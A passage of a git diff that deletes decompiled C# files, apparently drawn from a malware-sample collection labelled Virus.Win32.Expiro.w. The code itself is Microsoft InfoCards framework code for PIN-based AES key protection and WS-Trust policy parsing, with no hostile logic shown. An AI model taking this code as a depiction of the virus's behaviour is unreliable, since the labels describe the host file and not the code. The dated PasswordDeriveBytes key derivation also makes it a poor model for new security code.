1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class PinProtectionHelper - { - private const int InfoCardPKCS5IterationCount = 1000; - public const int SaltSize = 16; - private const int AESBlockByteLength = 16; - private const int AESKeyByteLength = 32; - private const byte EncryptForPinProtectionVersion = 2; - private const int VersionOffset = 0; - private const int SaltOffset = 1; - private const int IterationsOffset = 17; - private const int IVOffset = 21; - private const int EncryptedDataOffset = 37; - private PasswordDeriveBytes m_pkcs5; - private byte[] m_key; - private RijndaelManaged m_aes = new RijndaelManaged(); - - public PinProtectionHelper(string pin) - { - RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider(); - byte[] numArray = new byte[16]; - cryptoServiceProvider.GetBytes(numArray); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", 1000); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - this.m_aes.GenerateIV(); - } - - public PinProtectionHelper(string pin, byte[] serializedParameters) - { - if ((byte) 2 != serializedParameters[0]) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"))); - byte[] numArray = new byte[16]; - Array.Copy((Array) serializedParameters, 1, (Array) numArray, 0, 16); - uint uint32 = BitConverter.ToUInt32(serializedParameters, 17); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", (int) uint32); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - byte[] destinationArray = new byte[16]; - Array.Copy((Array) serializedParameters, 21, (Array) destinationArray, 0, destinationArray.Length); - this.m_aes.IV = destinationArray; - } - - public byte[] EncryptMasterKey(byte[] toEncrypt) - { - byte[] buffer = this.Encrypt(toEncrypt); - using (MemoryStream memoryStream = new MemoryStream()) - { - memoryStream.WriteByte((byte) 2); - memoryStream.Write(this.m_pkcs5.Salt, 0, this.m_pkcs5.Salt.Length); - memoryStream.Write(BitConverter.GetBytes((uint) this.m_pkcs5.IterationCount), 0, 4); - memoryStream.Write(this.m_aes.IV, 0, this.m_aes.IV.Length); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - } - - public static int EncryptedMasterKeySize => 85; - - public byte[] Encrypt(byte[] toEncrypt) - { - using (ICryptoTransform encryptor = this.m_aes.CreateEncryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write)) - { - cryptoStream.Write(toEncrypt, 0, toEncrypt.Length); - cryptoStream.FlushFinalBlock(); - return memoryStream.ToArray(); - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardEncryptionFailed"), (Exception) ex)); - } - } - } - } - - public byte[] DecryptMasterKey(byte[] toDecrypt) - { - byte[] numArray = new byte[toDecrypt.Length - 37]; - Array.Copy((Array) toDecrypt, 37, (Array) numArray, 0, toDecrypt.Length - 37); - return this.Decrypt(numArray); - } - - public byte[] Decrypt(byte[] encrypted) - { - using (ICryptoTransform decryptor = this.m_aes.CreateDecryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream(encrypted)) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - byte[] numArray = new byte[encrypted.Length]; - int length = cryptoStream.Read(numArray, 0, numArray.Length); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) numArray, (Array) destinationArray, length); - return destinationArray; - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"), (Exception) ex)); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Policy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Policy.cs deleted file mode 100644 index c9fb1618..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Policy.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Policy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.ServiceModel; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class Policy - { - private string m_policyXml = string.Empty; - private string[] m_requiredClaimUris; - private string[] m_optionalClaimUris; - private uint m_keySize; - private bool m_keySizeSpecified; - private bool m_keyTypeSpecified; - private SecurityKeyTypeInternal m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - private string m_requestType; - private MemoryStream m_unprocessedPolicyElements; - private OptionalRstParameters m_optionalRstParams = new OptionalRstParameters(); - private EndpointAddress m_policyAppliesToEpr; - private bool m_nonWhiteListElementFound; - private List m_nonWhiteListElements = new List(); - private ProtocolProfile m_protocolProfile; - - private Policy() - { - } - - public Policy(string originalPolicyXml, string rstPolicyXml) - { - this.m_policyXml = originalPolicyXml; - this.ParsePolicyXml(rstPolicyXml); - } - - public static Policy CreateMergedPolicy( - string originalPolicyXml, - Policy primary, - Policy secondary) - { - Policy mergedPolicy = new Policy(); - mergedPolicy.m_policyXml = originalPolicyXml; - mergedPolicy.m_requiredClaimUris = primary.m_requiredClaimUris != null ? primary.m_requiredClaimUris : secondary.m_requiredClaimUris; - mergedPolicy.m_optionalClaimUris = primary.m_optionalClaimUris != null ? primary.m_optionalClaimUris : secondary.m_optionalClaimUris; - mergedPolicy.m_requestType = !string.IsNullOrEmpty(primary.m_requestType) ? primary.m_requestType : secondary.m_requestType; - mergedPolicy.m_unprocessedPolicyElements = primary.m_unprocessedPolicyElements; - mergedPolicy.m_policyAppliesToEpr = (EndpointAddress) null != primary.m_policyAppliesToEpr ? primary.m_policyAppliesToEpr : secondary.m_policyAppliesToEpr; - mergedPolicy.m_keySize = primary.m_keySizeSpecified ? primary.m_keySize : secondary.m_keySize; - mergedPolicy.m_keyType = primary.m_keyTypeSpecified ? primary.m_keyType : secondary.m_keyType; - mergedPolicy.m_nonWhiteListElements = new List(); - mergedPolicy.m_nonWhiteListElementFound = primary.m_nonWhiteListElementFound || secondary.m_nonWhiteListElementFound; - if (primary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) primary.m_nonWhiteListElements); - if (secondary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) secondary.m_nonWhiteListElements); - InfoCardTrace.Assert(null != primary.m_protocolProfile, "Received Null Protocol Profile in the Primary Policy"); - mergedPolicy.m_protocolProfile = primary.ProtocolVersionProfile; - mergedPolicy.m_optionalRstParams = OptionalRstParameters.CreateMergedParameters(primary.OptionalRstParams, secondary.OptionalRstParams); - return mergedPolicy; - } - - public string RequestType => this.m_requestType; - - public string PolicyXml => this.m_policyXml; - - public OptionalRstParameters OptionalRstParams => this.m_optionalRstParams; - - public string[] RequiredClaims => this.m_requiredClaimUris; - - public string[] OptionalClaims => this.m_optionalClaimUris; - - public SecurityKeyTypeInternal KeyType => this.m_keyType; - - public bool KeyTypeSpecified => this.m_keyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyAppliesToEpr; - - public MemoryStream UnprocessedPolicyElements => this.m_unprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_keySizeSpecified; - - public uint KeySize => this.m_keySize; - - public bool NonWhiteListElementsFound => this.m_nonWhiteListElementFound; - - public List NonWhiteListElements => this.m_nonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - public void ParsePolicyXml(string policyXml) - { - XmlReader reader = InfoCardSchemas.CreateReader(policyXml); - try - { - this.m_protocolProfile = new ProtocolProfile(policyXml); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (isEmptyElement) - return; - while (reader.IsStartElement()) - { - if (InfoCardConstants.DoesPolicyElementsToBeProcessedListContain(reader.NamespaceURI, reader.LocalName)) - { - bool flag = false; - if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignatureAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptionAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadCanonicalizationAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadClaims(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.TokenType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadTokenType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeySize, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeySize(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.RequestType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadRequestType(reader); - flag = true; - } - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SecondaryParameters, this.ProtocolVersionProfile.WSTrust.Namespace)) - this.ReadSecondaryParameters(reader); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyWrapAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSPolicy.AppliesTo, this.ProtocolVersionProfile.WSPolicy.Namespace)) - { - this.ReadAppliesTo(reader); - flag = true; - } - else - reader.Skip(); - if (flag) - reader.ReadEndElement(); - } - else - { - if (!InfoCardConstants.DoesLocalTokenFactoryWhiteListContain(reader.NamespaceURI, reader.LocalName)) - { - this.m_nonWhiteListElementFound = true; - this.m_nonWhiteListElements.Add(reader.LocalName); - } - this.CopyUnprocessedPolicyElements(reader); - } - } - reader.ReadEndElement(); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (InvalidOperationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private void ReadClaims(XmlReader reader) - { - List stringList1 = new List(); - List stringList2 = new List(); - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.ClaimsElement != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - if (XmlNodeType.Element != reader.NodeType) - return; - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - if (!reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - return; - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - while (reader.IsStartElement()) - { - if (reader.IsStartElement("ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (XmlNodeType.EndElement != reader.NodeType) - { - string attribute1 = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute1)) - attribute1 = reader.GetAttribute("Uri"); - if (string.IsNullOrEmpty(attribute1)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidClaimUri"))); - string attribute2 = reader.GetAttribute("Optional"); - bool flag1 = false; - if (!string.IsNullOrEmpty(attribute2)) - flag1 = XmlConvert.ToBoolean(attribute2); - bool flag2 = false; - bool flag3 = false; - foreach (string str in stringList1) - { - if (str == attribute1) - { - flag3 = true; - break; - } - } - foreach (string str in stringList2) - { - if (str == attribute1) - { - flag2 = true; - flag3 = true; - break; - } - } - if (flag1) - { - if (!flag3) - stringList2.Add(attribute1); - } - else if (!flag3) - stringList1.Add(attribute1); - else if (flag2) - { - stringList2.Remove(attribute1); - stringList1.Add(attribute1); - } - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - reader.ReadEndElement(); - } - } - else - break; - } - else - reader.Skip(); - } - } - InfoCardTrace.ThrowInvalidArgumentConditional(XmlNodeType.EndElement != reader.NodeType, reader.NodeType.ToString()); - this.m_requiredClaimUris = stringList1.ToArray(); - this.m_optionalClaimUris = stringList2.ToArray(); - } - - private void ReadTokenType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.TokenType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.TokenType = reader.ReadString(); - } - - public void ReadAppliesTo(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSPolicy.AppliesTo != reader.LocalName || this.ProtocolVersionProfile.WSPolicy.Namespace != reader.NamespaceURI, reader.LocalName); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - reader.Read(); - EndpointAddress endpointAddress = (EndpointAddress) null; - if (XmlNodeType.EndElement != reader.NodeType) - { - try - { - endpointAddress = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader.ReadSubtree())); - reader.ReadEndElement(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")), ex)); - } - if (reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - } - this.m_policyAppliesToEpr = endpointAddress; - } - - private void ReadKeyType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - Uri uri = new Uri(reader.ReadString()); - if (this.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.SymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.NoKey; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("KeyTypeNotRecognized", (object) uri.ToString()))); - this.m_keyTypeSpecified = true; - } - - private void ReadKeySize(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeySize != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - try - { - this.m_keySize = Convert.ToUInt32(reader.ReadString(), (IFormatProvider) CultureInfo.InvariantCulture); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - catch (OverflowException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - this.m_keySizeSpecified = true; - } - - private void ReadSignatureAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignatureAlgorithm = reader.ReadString(); - } - - private void ReadEncryptionAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptionAlgorithm = reader.ReadString(); - } - - private void ReadCanonicalizationAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.CanonicalizationAlgorithm = reader.ReadString(); - } - - private void ReadEncryptWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptWith = reader.ReadString(); - } - - private void ReadSignWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignWith = reader.ReadString(); - } - - private void ReadRequestType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.RequestType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_requestType = reader.ReadString(); - } - - private void ReadSecondaryParameters(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SecondaryParameters != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - while (reader.IsStartElement()) - reader.Skip(); - } - - private void ReadKeyWrapAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.KeyWrapAlgorithm = reader.ReadString(); - } - - private void CopyUnprocessedPolicyElements(XmlReader reader) - { - if (this.m_unprocessedPolicyElements == null) - this.m_unprocessedPolicyElements = new MemoryStream(); - XmlWriter xmlWriter = XmlWriter.Create((Stream) this.m_unprocessedPolicyElements, new XmlWriterSettings() - { - OmitXmlDeclaration = true - }); - xmlWriter.WriteNode(reader, true); - xmlWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyFactory.cs deleted file mode 100644 index e40a6c8a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyFactory.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Selectors; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class PolicyFactory - { - private PolicyFactory() - { - } - - public static Policy CreatePolicyFromUnwrappedPolicyXml(string originalPolicyXml) - { - string rstPolicyXml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) originalPolicyXml); - return new Policy(originalPolicyXml, rstPolicyXml); - } - - public static InfoCardPolicy CreatePolicyForCustomTokenProvider( - EndpointAddress immediateTokenRecipient, - IssuedSecurityTokenParameters issuedTokenParameters, - ProtocolProfile profile) - { - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) issuedTokenParameters.CreateRequestParameters(profile.MsgSecurityVersion, (SecurityTokenSerializer) profile.TokenSerializer)); - return new InfoCardPolicy(immediateTokenRecipient, issuedTokenParameters.IssuerAddress, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, false); - } - - public static InfoCardPolicy CreatePolicyForGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity, - PolicyUsageContext usageContext) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, usageContext, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForIntermediateGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, PolicyUsageContext.Intermediate, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForGetTokenRequest( - BinaryReader reader, - string recipientXml, - string issuerXml, - string policyXml, - bool isManaged) - { - if (!string.IsNullOrEmpty(policyXml)) - { - string xml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) policyXml); - XmlDocument xmlDocument = new XmlDocument(); - xmlDocument.LoadXml(xml); - Collection elements = new Collection(); - foreach (XmlElement childNode in xmlDocument.DocumentElement.ChildNodes) - elements.Add(childNode); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) elements); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - if (!isManaged) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"))); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, (ParsedPolicy) null, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - - private static ParsedPolicy CreateParsedPolicy(IEnumerable elements) - { - try - { - XmlElement xmlElement = (XmlElement) null; - StringBuilder stringBuilder1 = new StringBuilder(); - StringBuilder stringBuilder2 = new StringBuilder(); - foreach (XmlElement element in elements) - { - stringBuilder2.Append(element.OuterXml); - if (element.LocalName == "SecondaryParameters" && element.NamespaceURI == "http://docs.oasis-open.org/ws-sx/ws-trust/200512") - xmlElement = element; - else - stringBuilder1.Append(element.OuterXml); - } - return xmlElement != null ? new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), xmlElement.InnerXml) : new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), (string) null); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private static EndpointAddress CreateEndpointAddressFromString(string fragment) - { - try - { - using (XmlReader reader = PolicyFactory.LoadXmlIntoReader(fragment.Trim())) - { - reader.MoveToElement(); - return EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidEprInPolicy"), ex)); - throw; - } - } - - private static XmlReader LoadXmlIntoReader(string fragment) => InfoCardSchemas.CreateReader(fragment); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyType.cs deleted file mode 100644 index 93b4a4ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains 